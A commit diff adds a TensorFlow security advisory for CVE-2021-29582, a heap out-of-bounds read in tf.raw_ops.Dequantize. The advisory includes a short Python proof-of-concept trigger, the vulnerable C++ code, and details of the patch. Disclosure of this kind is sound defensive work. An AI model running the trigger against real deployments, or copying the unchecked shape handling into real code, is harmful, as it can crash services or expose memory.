chore: import upstream snapshot with attribution

tensorflow/security/advisory/tfsa-2021-070.md

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+## TFSA-2021-070: Heap OOB read in `tf.raw_ops.Dequantize`
+
+### CVE Number
+CVE-2021-29582
+
+### Impact
+Due to lack of validation in `tf.raw_ops.Dequantize`, an attacker can
+trigger a read from outside of bounds of heap allocated data:
+
+```python
+import tensorflow as tf
+
+input_tensor=tf.constant(
+    [75, 75, 75, 75, -6, -9, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\
+  -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\
+  -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\
+  -10, -10, -10, -10], shape=[5, 10], dtype=tf.int32)
+input_tensor=tf.cast(input_tensor, dtype=tf.quint8)
+min_range = tf.constant([-10], shape=[1], dtype=tf.float32)
+max_range = tf.constant([24, 758, 758, 758, 758], shape=[5], dtype=tf.float32)
+
+tf.raw_ops.Dequantize(
+    input=input_tensor,
+    min_range=min_range,
+    max_range=max_range,
+    mode='SCALED',
+    narrow_range=True,
+    axis=0,
+    dtype=tf.dtypes.float32)
+```
+
+The
+[implementation](https://github.com/tensorflow/tensorflow/blob/26003593aa94b1742f34dc22ce88a1e17776a67d/tensorflow/core/kernels/dequantize_op.cc#L106-L131)
+accesses the `min_range` and `max_range` tensors in parallel but fails to check
+that they have the same shape:
+
+```cc
+if (num_slices == 1) {
+  const float min_range = input_min_tensor.flat<float>()(0);
+  const float max_range = input_max_tensor.flat<float>()(0);
+  DequantizeTensor(ctx, input, min_range, max_range, &float_output);
+} else {
+  ...
+  auto min_ranges = input_min_tensor.vec<float>();
+  auto max_ranges = input_max_tensor.vec<float>();
+  for (int i = 0; i < num_slices; ++i) {
+    DequantizeSlice(ctx->eigen_device<Device>(), ctx,
+                    input_tensor.template chip<1>(i), min_ranges(i),
+                    max_ranges(i), output_tensor.template chip<1>(i));
+    ...
+  }
+}
+```
+
+### Patches
+We have patched the issue in GitHub commit
+[5899741d0421391ca878da47907b1452f06aaf1b](https://github.com/tensorflow/tensorflow/commit/5899741d0421391ca878da47907b1452f06aaf1b).
+
+The fix will be included in TensorFlow 2.5.0. We will also cherrypick this
+commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow
+2.1.4, as these are also affected and still in supported range.
+
+### For more information
+Please consult [our security
+guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for
+more information regarding the security model and how to contact us with issues
+and questions.
+
+### Attribution
+This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu
+X-Team.